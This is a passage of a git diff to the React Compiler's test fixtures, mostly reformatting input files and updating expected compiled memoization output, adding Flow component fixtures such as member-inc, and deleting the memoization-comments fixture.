     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-captured.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-captured.ts
index 0bb74fab1f84..0074cf9128d7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-captured.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-captured.ts
@@ -1,7 +1,7 @@
-import { CONST_NUMBER0, invoke } from "shared-runtime";
+import {CONST_NUMBER0, invoke} from 'shared-runtime';
 
 function Foo() {
-  const x = [{ value: 0 }, { value: 1 }, { value: 2 }];
+  const x = [{value: 0}, {value: 1}, {value: 2}];
   const param = CONST_NUMBER0;
   const foo = () => {
     return x[param].value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-param.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-param.expect.md
index a3598a2123ea..5c0e939d524a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-param.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-param.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
 function Foo() {
-  const x = [{ value: 0 }, { value: 1 }, { value: 2 }];
+  const x = [{value: 0}, {value: 1}, {value: 2}];
   const foo = (param: number) => {
     return x[param].value;
   };
@@ -32,7 +32,6 @@ function Foo() {
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const x = [{ value: 0 }, { value: 1 }, { value: 2 }];
     const foo = (param) => x[param].value;
-
     t0 = invoke(foo, 1);
     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-param.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-param.ts
index bf2840398331..3dcfc298a9f4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-param.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-param.ts
@@ -1,7 +1,7 @@
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
 function Foo() {
-  const x = [{ value: 0 }, { value: 1 }, { value: 2 }];
+  const x = [{value: 0}, {value: 1}, {value: 2}];
   const foo = (param: number) => {
     return x[param].value;
   };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-capture-returned-alias.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-capture-returned-alias.expect.md
index b468585f8c8b..ea9e981ba29d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-capture-returned-alias.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-capture-returned-alias.expect.md
@@ -13,7 +13,7 @@ function CaptureNotMutate(props) {
   const element = bar(props.el);
 
   const fn = function () {
-    const arr = { element };
+    const arr = {element};
     return arr[idx];
   };
   const aliasedElement = fn();
@@ -44,18 +44,16 @@ function CaptureNotMutate(props) {
   }
   const idx = t0;
   let aliasedElement;
-  if ($[2] !== props.el || $[3] !== idx) {
+  if ($[2] !== idx || $[3] !== props.el) {
     const element = bar(props.el);
-
     const fn = function () {
       const arr = { element };
       return arr[idx];
     };
-
     aliasedElement = fn();
     mutate(aliasedElement);
-    $[2] = props.el;
-    $[3] = idx;
+    $[2] = idx;
+    $[3] = props.el;
     $[4] = aliasedElement;
   } else {
     aliasedElement = $[4];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-capture-returned-alias.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-capture-returned-alias.js
index 0bc0187f9aff..9096307c2413 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-capture-returned-alias.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-capture-returned-alias.js
@@ -9,7 +9,7 @@ function CaptureNotMutate(props) {
   const element = bar(props.el);
 
   const fn = function () {
-    const arr = { element };
+    const arr = {element};
     return arr[idx];
   };
   const aliasedElement = fn();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutate-shadowed-object.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutate-shadowed-object.expect.md
index d532f2521113..832ae3263bd9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutate-shadowed-object.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutate-shadowed-object.expect.md
@@ -37,6 +37,7 @@ function Component() {
   };
 
   fn();
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-non-reactive-to-reactive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-non-reactive-to-reactive.expect.md
index ff8d9d8297c1..ed0ddda55b32 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-non-reactive-to-reactive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-non-reactive-to-reactive.expect.md
@@ -5,15 +5,15 @@
 function f(a) {
   let x;
   (() => {
-    x = { a };
+    x = {a};
   })();
   return <div x={x} />;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: f,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -26,24 +26,21 @@ function f(a) {
   const $ = _c(4);
   let x;
   if ($[0] !== a) {
-    x;
     x = { a };
     $[0] = a;
     $[1] = x;
   } else {
     x = $[1];
   }
-
-  const t0 = x;
-  let t1;
-  if ($[2] !== t0) {
-    t1 = <div x={t0} />;
-    $[2] = t0;
-    $[3] = t1;
+  let t0;
+  if ($[2] !== x) {
+    t0 = <div x={x} />;
+    $[2] = x;
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-non-reactive-to-reactive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-non-reactive-to-reactive.js
index a8f8357160e5..bb502fba4280 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-non-reactive-to-reactive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-non-reactive-to-reactive.js
@@ -1,13 +1,13 @@
 function f(a) {
   let x;
   (() => {
-    x = { a };
+    x = {a};
   })();
   return <div x={x} />;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: f,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-ref-non-reactive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-ref-non-reactive.expect.md
index baae2afed3e9..8dc4839085ee 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-ref-non-reactive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-ref-non-reactive.expect.md
@@ -13,8 +13,8 @@ function f(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: f,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -27,7 +27,6 @@ function f(a) {
   const $ = _c(2);
   let x;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    x;
     x = {};
     $[0] = x;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-ref-non-reactive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-ref-non-reactive.js
index 5a022545401b..5037747c5082 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-ref-non-reactive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-ref-non-reactive.js
@@ -9,6 +9,6 @@ function f(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: f,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-reassign-shadowed-primitive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-reassign-shadowed-primitive.expect.md
index dcba618e7734..6d30220cdc06 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-reassign-shadowed-primitive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-reassign-shadowed-primitive.expect.md
@@ -37,13 +37,13 @@ function Component() {
   }
   const x = t0;
 
-  let x_0;
-  x_0 = 56;
+  let x_0 = 56;
   const fn = function () {
     x_0 = 42;
   };
 
   fn();
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-return-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-return-expression.expect.md
index 4ad6500e2a09..f789e7f29713 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-return-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-return-expression.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
 function useFoo() {
   const x = {};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-return-expression.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-return-expression.ts
index d9e8b8eddb52..26a8ea963a39 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-return-expression.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-return-expression.ts
@@ -1,4 +1,4 @@
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
 function useFoo() {
   const x = {};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/log-pruned-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/log-pruned-memoization.expect.md
index b2b600892f11..b6583dbc9e11 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/log-pruned-memoization.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/log-pruned-memoization.expect.md
@@ -2,14 +2,14 @@
 ## Input
 
 ```javascript
-// @logger
-import { createContext, use, useState } from "react";
+// @loggerTestOnly
+import {createContext, use, useState} from 'react';
 import {
   Stringify,
   identity,
   makeObject_Primitives,
   useHook,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 function Component() {
   const w = use(Context);
@@ -56,7 +56,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @logger
+import { c as _c } from "react/compiler-runtime"; // @loggerTestOnly
 import { createContext, use, useState } from "react";
 import {
   Stringify,
@@ -129,8 +129,8 @@ export const FIXTURE_ENTRYPOINT = {
 ## Logs
 
 ```
-{"kind":"CompileSuccess","fnLoc":{"start":{"line":10,"column":0,"index":161},"end":{"line":33,"column":1,"index":905},"filename":"log-pruned-memoization.ts"},"fnName":"Component","memoSlots":6,"memoBlocks":2,"memoValues":2,"prunedMemoBlocks":2,"prunedMemoValues":3}
-{"kind":"CompileSuccess","fnLoc":{"start":{"line":37,"column":0,"index":941},"end":{"line":43,"column":1,"index":1039},"filename":"log-pruned-memoization.ts"},"fnName":"Wrapper","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":0,"prunedMemoValues":0}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":10,"column":0,"index":167},"end":{"line":33,"column":1,"index":911},"filename":"log-pruned-memoization.ts"},"fnName":"Component","memoSlots":6,"memoBlocks":2,"memoValues":2,"prunedMemoBlocks":2,"prunedMemoValues":3}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":37,"column":0,"index":947},"end":{"line":43,"column":1,"index":1045},"filename":"log-pruned-memoization.ts"},"fnName":"Wrapper","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":0,"prunedMemoValues":0}
 ```
       
 ### Eval output
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/log-pruned-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/log-pruned-memoization.js
index 6b9370221134..42c39d1e71df 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/log-pruned-memoization.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/log-pruned-memoization.js
@@ -1,11 +1,11 @@
-// @logger
-import { createContext, use, useState } from "react";
+// @loggerTestOnly
+import {createContext, use, useState} from 'react';
 import {
   Stringify,
   identity,
   makeObject_Primitives,
   useHook,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 function Component() {
   const w = use(Context);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression-object.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression-object.expect.md
index 6d838cf60683..ccd03bd7a46a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression-object.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression-object.expect.md
@@ -10,13 +10,13 @@ function component(props) {
   // but what's weird is that the end of a's range doesn't quite extend to the object.
   let a = props.a || (props.b && props.c && props.d);
   let b = (props.a && props.b && props.c) || props.d;
-  return { a, b };
+  return {a, b};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression-object.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression-object.js
index 5da018df2076..ed959361045f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression-object.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression-object.js
@@ -6,11 +6,11 @@ function component(props) {
   // but what's weird is that the end of a's range doesn't quite extend to the object.
   let a = props.a || (props.b && props.c && props.d);
   let b = (props.a && props.b && props.c) || props.d;
-  return { a, b };
+  return {a, b};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression.expect.md
index 7c4c7bf8a8d6..1e1e10891d6e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression.expect.md
@@ -10,8 +10,8 @@ function component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression.js
index 8701fc36510b..a3ab651cc245 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-expression.js
@@ -6,6 +6,6 @@ function component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-reorder.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-reorder.flow.expect.md
new file mode 100644
index 000000000000..f07193ea9102
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-reorder.flow.expect.md
@@ -0,0 +1,39 @@
+
+## Input
+
+```javascript
+//@flow
+
+const foo = undefined;
+
+component C(...{scope = foo ?? null}: any) {
+  return scope;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{scope: undefined}],
+};
+
+```
+
+## Code
+
+```javascript
+const foo = undefined;
+
+function C(t0) {
+  const { scope: t1 } = t0;
+  const scope = t1 === undefined ? (foo ?? null) : t1;
+  return scope;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{ scope: undefined }],
+};
+
+```
+      
+### Eval output
+(kind: ok) null
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-reorder.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-reorder.flow.js
new file mode 100644
index 000000000000..48b7b1d04f50
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/logical-reorder.flow.js
@@ -0,0 +1,12 @@
+//@flow
+
+const foo = undefined;
+
+component C(...{scope = foo ?? null}: any) {
+  return scope;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{scope: undefined}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/maybe-mutate-object-in-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/maybe-mutate-object-in-callback.expect.md
index 69317c462e80..a8069809b666 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/maybe-mutate-object-in-callback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/maybe-mutate-object-in-callback.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function Component(props) {
   const object = {};
@@ -14,13 +14,13 @@ function Component(props) {
   return <Foo callback={onClick}>{props.children}</Foo>;
 }
 
-function Foo({ children }) {
+function Foo({children}) {
   return children;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ children: <div>Hello</div> }],
+  params: [{children: <div>Hello</div>}],
 };
 
 ```
@@ -36,7 +36,6 @@ function Component(props) {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const object = {};
-
     t0 = () => {
       mutate(object);
     };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/maybe-mutate-object-in-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/maybe-mutate-object-in-callback.js
index 133f3d21d1b7..6bd738b85cd0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/maybe-mutate-object-in-callback.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/maybe-mutate-object-in-callback.js
@@ -1,4 +1,4 @@
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function Component(props) {
   const object = {};
@@ -10,11 +10,11 @@ function Component(props) {
   return <Foo callback={onClick}>{props.children}</Foo>;
 }
 
-function Foo({ children }) {
+function Foo({children}) {
   return children;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ children: <div>Hello</div> }],
+  params: [{children: <div>Hello</div>}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mege-consecutive-scopes-dont-merge-with-different-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mege-consecutive-scopes-dont-merge-with-different-deps.expect.md
index bb4251cff9ea..2b6ae620f5c2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mege-consecutive-scopes-dont-merge-with-different-deps.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mege-consecutive-scopes-dont-merge-with-different-deps.expect.md
@@ -2,17 +2,17 @@
 ## Input
 
 ```javascript
-const { getNumber, identity } = require("shared-runtime");
+const {getNumber, identity} = require('shared-runtime');
 
 function Component(props) {
   // Two scopes: one for `getNumber()`, one for the object literal.
   // Neither has dependencies so they should merge
-  return { a: getNumber(), b: identity(props.id), c: ["static"] };
+  return {a: getNumber(), b: identity(props.id), c: ['static']};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ id: 42 }],
+  params: [{id: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mege-consecutive-scopes-dont-merge-with-different-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mege-consecutive-scopes-dont-merge-with-different-deps.js
index 4cdb80419c15..35b582cacece 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mege-consecutive-scopes-dont-merge-with-different-deps.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mege-consecutive-scopes-dont-merge-with-different-deps.js
@@ -1,12 +1,12 @@
-const { getNumber, identity } = require("shared-runtime");
+const {getNumber, identity} = require('shared-runtime');
 
 function Component(props) {
   // Two scopes: one for `getNumber()`, one for the object literal.
   // Neither has dependencies so they should merge
-  return { a: getNumber(), b: identity(props.id), c: ["static"] };
+  return {a: getNumber(), b: identity(props.id), c: ['static']};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ id: 42 }],
+  params: [{id: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/member-inc.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/member-inc.expect.md
new file mode 100644
index 000000000000..6588b336b0ee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/member-inc.expect.md
@@ -0,0 +1,63 @@
+
+## Input
+
+```javascript
+//@flow
+
+component Foo() {
+  let x = {a: 1};
+  x.a++;
+  x.a--;
+  console.log(++x.a);
+  console.log(x.a++);
+
+  console.log(x.a);
+  let y = x.a++;
+  console.log(y);
+  console.log(x.a);
+
+  console.log((++x.a).toString(), (x.a++).toString(), x.a);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+function Foo() {
+  const x = { a: 1 };
+  x.a = x.a + 1;
+  x.a = x.a - 1;
+  console.log((x.a = x.a + 1));
+  const t0 = x.a;
+  x.a = t0 + 1;
+  console.log(t0);
+
+  console.log(x.a);
+  const t1 = x.a;
+  x.a = t1 + 1;
+  const y = t1;
+  console.log(y);
+  console.log(x.a);
+
+  const t2 = (x.a = x.a + 1).toString();
+  const t3 = x.a;
+  x.a = t3 + 1;
+  console.log(t2, t3.toString(), x.a);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
+logs: [2,2,3,3,4,'5','5',6]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/member-inc.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/member-inc.js
new file mode 100644
index 000000000000..1a662a39ac0f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/member-inc.js
@@ -0,0 +1,21 @@
+//@flow
+
+component Foo() {
+  let x = {a: 1};
+  x.a++;
+  x.a--;
+  console.log(++x.a);
+  console.log(x.a++);
+
+  console.log(x.a);
+  let y = x.a++;
+  console.log(y);
+  console.log(x.a);
+
+  console.log((++x.a).toString(), (x.a++).toString(), x.a);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoization-comments.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoization-comments.expect.md
deleted file mode 100644
index 939904fb6db6..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoization-comments.expect.md
+++ /dev/null
@@ -1,78 +0,0 @@
-
-## Input
-
-```javascript
-// @enableMemoizationComments
-import { addOne, getNumber, identity } from "shared-runtime";
-
-function Component(props) {
-  const x = identity(props.a);
-  const y = addOne(x);
-  const z = identity(props.b);
-  return [x, y, z];
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: 1, b: 10 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableMemoizationComments
-import { addOne, getNumber, identity } from "shared-runtime";
-
-function Component(props) {
-  const $ = _c(9);
-  let t0;
-  let x; // "useMemo" for t0 and x:
-  // check if props.a changed
-  if ($[0] !== props.a) {
-    // Inputs changed, recompute
-    x = identity(props.a);
-    t0 = addOne(x);
-    $[0] = props.a;
-    $[1] = t0;
-    $[2] = x;
-  } else {
-    // Inputs did not change, use cached value
-    t0 = $[1];
-    x = $[2];
-  }
-  const y = t0;
-  let t1; // "useMemo" for t1:
-  // check if props.b changed
-  if ($[3] !== props.b) {
-    // Inputs changed, recompute
-    t1 = identity(props.b);
-    $[3] = props.b;
-    $[4] = t1;
-  } else {
-    // Inputs did not change, use cached value
-    t1 = $[4];
-  }
-  const z = t1;
-  let t2; // "useMemo" for t2:
-  // check if x, y, or z changed
-  if ($[5] !== x || $[6] !== y || $[7] !== z) {
-    // Inputs changed, recompute
-    t2 = [x, y, z];
-    $[5] = x;
-    $[6] = y;
-    $[7] = z;
-    $[8] = t2;
-  } else {
-    // Inputs did not change, use cached value
-    t2 = $[8];
-  }
-  return t2;
-}
-export const FIXTURE_ENTRYPOINT = { fn: Component, params: [{ a: 1, b: 10 }] };
-
-```
-      
-### Eval output
-(kind: ok) [1,2,10]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoization-comments.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoization-comments.js
deleted file mode 100644
index 3eb77a1a19ea..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoization-comments.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// @enableMemoizationComments
-import { addOne, getNumber, identity } from "shared-runtime";
-
-function Component(props) {
-  const x = identity(props.a);
-  const y = addOne(x);
-  const z = identity(props.b);
-  return [x, y, z];
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: 1, b: 10 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-primitive-function-calls.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-primitive-function-calls.expect.md
new file mode 100644
index 000000000000..70e70a26b465
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-primitive-function-calls.expect.md
@@ -0,0 +1,107 @@
+
+## Input
+
+```javascript
+// @compilationMode:"infer" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';
+
+function Component(props) {
+  const result = useMemo(() => {
+    return makeObject(props.value).value + 1;
+  }, [props.value]);
+  return <ValidateMemoization inputs={[props.value]} output={result} />;
+}
+
+function makeObject(value) {
+  console.log(value);
+  return {value};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [
+    {value: 42},
+    {value: 42},
+    {value: 3.14},
+    {value: 3.14},
+    {value: 42},
+    {value: 3.14},
